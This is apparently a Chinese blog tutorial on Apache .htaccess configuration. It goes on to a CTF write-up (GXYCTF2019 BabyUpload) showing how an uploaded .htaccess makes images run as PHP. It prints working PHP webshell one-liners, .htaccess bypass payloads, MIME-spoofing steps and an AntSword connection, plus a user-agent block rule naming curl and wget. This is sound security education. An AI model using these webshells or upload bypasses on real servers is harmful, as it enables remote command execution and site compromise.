.htaccess
(Hypertext Access)是 Apache 服務器的一個分布式配置文件,可以覆蓋主配置文件的設置,無需重啟服務器即可生效(需要管理員級別權限修改的httpd.conf文件修改后需要重啟Apach服務器)它主要用于目錄級的配置,是 Web 安全、URL 重寫和服務器優化的重要工具。
1、.htaccess 文件的基本組成
.htaccess
文件是一個純文本文件,通常包含以下類型的指令:
?常用指令類型
指令類型 | 示例 | 作用 |
---|---|---|
認證與授權 | AuthType Basic | 密碼保護目錄 |
URL 重寫 | RewriteRule ^old.html$ new.html [R=301] | 重定向或美化 URL |
錯誤頁面定制 | ErrorDocument 404 /404.html | 自定義 404 頁面 |
禁止訪問 | Deny from all | 阻止特定 IP 或用戶代理訪問 |
MIME 類型設置 | AddType application/x-httpd-php .php | 定義文件類型處理方式 |
緩存控制 | ExpiresActive On | 設置瀏覽器緩存策略 |
PHP 配置覆蓋 | php_value upload_max_filesize 20M | 修改 PHP 運行參數(如上傳限制) |
2、.htaccess 的核心作用
1. URL 重寫(SEO 友好 & 隱藏真實路徑)
RewriteEngine On
RewriteRule ^article/([0-9]+)/?$ article.php?id=$1 [L]
-
用戶訪問
/article/123/
→ 實際執行article.php?id=123
-
常用于 WordPress、Laravel 等框架
2. 訪問控制(安全防護)
# 禁止訪問特定文件
<Files "config.ini">Deny from all
</Files># 屏蔽惡意 User-Agent
RewriteCond %{HTTP_USER_AGENT} (wget|curl|python) [NC]
RewriteRule .* - [F]
3. 自定義錯誤頁面
ErrorDocument 404 /errors/404.html
ErrorDocument 500 /errors/500.html
-
提升用戶體驗,避免暴露服務器信息。(了解一下即可)
4. 防止目錄遍歷
Options -Indexes
-
禁止直接列出目錄內容(防止敏感文件泄露)。
5. 強制 HTTPS(安全跳轉)
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
6. 禁止 PHP 執行(安全防護)
<FilesMatch "\.(php|inc)$">Deny from all
</FilesMatch>
-
常用于上傳目錄(如
/uploads/
),防止上傳 Webshell 被執行。
3、典型應用場景
1. WordPress 的 .htaccess
# BEGIN WordPress
<IfModule mod_rewrite.c>RewriteEngine OnRewriteBase /RewriteRule ^index\.php$ - [L]RewriteCond %{REQUEST_FILENAME} !-fRewriteCond %{REQUEST_FILENAME} !-dRewriteRule . /index.php [L]
</IfModule>
# END WordPress
-
實現“固定鏈接”(Pretty Permalinks)功能。
2. 防止圖片盜鏈
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^https://(www\.)?yourdomain.com [NC]
RewriteRule \.(jpg|png|gif)$ - [F]
-
只允許本站引用圖片,外站訪問返回 403。
3. 限制 IP 訪問
Order Deny,Allow
Deny from all
Allow from 192.168.1.100
-
僅允許特定 IP 訪問目錄。
4、注意事項
-
性能影響:
每個請求都會讀取.htaccess
,高流量站點建議改用主配置文件(httpd.conf
)。 -
語法嚴格:
錯誤的規則可能導致 500 錯誤,測試時建議備份原文件。 -
優先級:
子目錄的.htaccess
會覆蓋父目錄的設置。 -
安全風險:
錯誤的權限設置可能導致.htaccess
被篡改(建議權限設為644
)
5、如何測試 .htaccess
是否生效?
-
訪問目標 URL,觀察是否按規則跳轉。
-
使用
curl
檢查響應頭:curl -I http://example.com/test
6、.htaccess文件在文件上傳漏洞中的構造方法及作用詳解
.htaccess文件概述
.htaccess是Apache服務器的一個配置文件,它允許用戶針對特定目錄修改服務器的配置,而無需訪問主配置文件。在文件上傳漏洞利用中,攻擊者常利用.htaccess文件來實現惡意目的。
<1>.htaccess在文件上傳漏洞中的作用
-
文件執行控制:通過修改文件解析規則,使原本不可執行的文件(如圖片)能夠作為PHP等腳本執行
-
繞過限制:繞過服務器的文件類型檢查和安全限制
-
持久化訪問:為后續攻擊提供持久化的后門訪問
<2>常見的.htaccess構造方法
1. 修改文件解析規則
apache
AddType application/x-httpd-php .jpg .png .gif
作用:使服務器將.jpg、.png、.gif等圖片文件當作PHP腳本解析執行
(比如當題目限制只能上傳圖片文件而沒有對.htaccess文件過濾時,就可以使用這種方法進行繞過)
2. 設置PHP執行標志
apache
<FilesMatch "\.(jpg|png|gif)$">SetHandler application/x-httpd-php
</FilesMatch>
作用:匹配特定擴展名的文件,強制使用PHP處理器處理
這個暫時還沒弄明白怎么運用
3. 自定義錯誤處理程序
apache
ErrorDocument 404 /uploads/malicious.php
作用:將404錯誤重定向到惡意腳本,實現隱蔽訪問
4. 啟用PHP配置選項
apache
php_value auto_prepend_file "malicious.jpg"
php_value auto_append_file "malicious.jpg"
作用:在每個PHP文件執行前后自動包含惡意文件
5. 重寫URL規則
apache
RewriteEngine On
RewriteRule ^(.*)\.jpg$ malicious.php?file=$1
作用:將訪問.jpg文件的請求重定向到惡意PHP腳本
總結來說就是:
假設攻擊者上傳了一個包含以下內容的.htaccess文件:
apache
AddType application/x-httpd-php .abc
然后上傳一個名為"shell.abc"的文件,內容為:
php
<?php system($_GET['cmd']); ?>
這樣,訪問"shell.abc?cmd=id"就會執行系統命令。
例題
【nssctf】 GXYCTF2019 BabyUpload
開啟題目后隨便上傳一個木馬.txt文件,提示太露骨了
同樣的png文件也提示露骨
然后我上傳了一個muma.jpg圖片,提示如下
由此可知,后端檢測出上傳的jpg文件中含有php代碼(即后綴檢測,內容也檢測)
而對內容檢測八成就是對php標簽內容檢測
所以需要將jpg中的php代碼修改為Javascript的形式,如下:
GIF89a
<script language='php'>@eval($_POST["a"]);</script>
?(這串代碼簡潔明了的解釋就是 結合GIF圖像格式和PHP代碼,用于繞過文件上傳限制并執行惡意代碼)
這里我詳細記錄一下這串代碼的作用吧:
-
GIF89a
是GIF圖像文件的文件頭標識。它表示這是一個GIF格式的圖像文件。 -
GIF文件的文件頭通常是
GIF89a
或GIF87a
,用于標識文件類型和版本(這一步是為上傳成功作準備的) -
<script language='php'>
:-
這是一個HTML
<script>
標簽,通常用于嵌入腳本代碼。 -
在這里,
language='php'
屬性指定了腳本語言為PHP。
-
-
@eval($_POST["a"]);
:-
@eval
是PHP的一個函數,用于執行字符串中的PHP代碼。 -
$_POST["a"]
是一個超全局變量,表示通過POST方法傳遞的參數a
。 -
@
符號用于抑制錯誤信息,即使eval
函數執行失敗,也不會顯示任何錯誤信息。
-
(這一大坨都是為了后面.htaccess文件解析它作準備)
接下來上傳文件后頁面回顯路徑
說明上傳成功,既然能上傳,接下來只需要解決能否解析.jpg文件中的php代碼就可以了
而想要解析.jpg文件中的php代碼,就可以使用.htaccess文件來進行實現
接著來看步驟:
先創建一個.htaccess文件,用記事本打開,寫入以下內容:
AddType application/x-httpd-php .jpg .txt .png
?這條命令可以讓Apach服務器在遇到.jpg .txt .png 文件時按照php文件來解析(即解析其中的php代碼)
下一步? .htaccess文件配合 .jpg 文件上傳
先上傳.htaccess 文件,響應頁面如下
沒錯,露骨就需要抓包改一下MIME類型了(Content-type)
選擇.htaccess文件后,抓包然后上傳
點擊上傳
修改MIME類型為允許的image/jpeg
?修改后放行,出現響應界面
頁面提示.htaccess文件上傳成功
這樣的話就可以上傳待解析的jpg文件了
直接上傳
可以看到此刻jpg文件也上傳成功
既然路徑也有了,接下來只需要拼接url訪問即可
拼接訪問
發現偽裝的jpg文件頭已顯示,說明圖片(php代碼)解析成功
可以通過POST傳參傳入php語句看其是否能執行
F12鍵打開hackbar,利用一句話木馬傳入的參數執行php語句
(別搞錯,上傳的木馬參數不一樣這里就不一樣。我的是a)
執行
php語句可執行, 接下來就可以連接蟻劍
打開蟻劍添加數據,填入拼接好的url,傳入的參數即為連接密碼(我的是a)
點擊測試連接
連接成功后點擊添加 。最后打開目錄搜尋flag即可
總的來說
.htaccess
是 Apache 服務器的強大工具,可用于:
URL 重寫(SEO 優化)
訪問控制(IP/User-Agent 過濾)
安全防護(禁止目錄遍歷、防 PHP 執行)
自定義錯誤頁(提升用戶體驗)
而在文件上傳漏洞中,.htaccess文件在文件上傳漏洞中常被用作"橋梁",通過修改服務器配置來繞過安全限制。
合理使用能大幅增強網站安全性和靈活性,但需注意性能影響和語法正確性,否則出現“文件因錯誤而無法顯示”就是常態了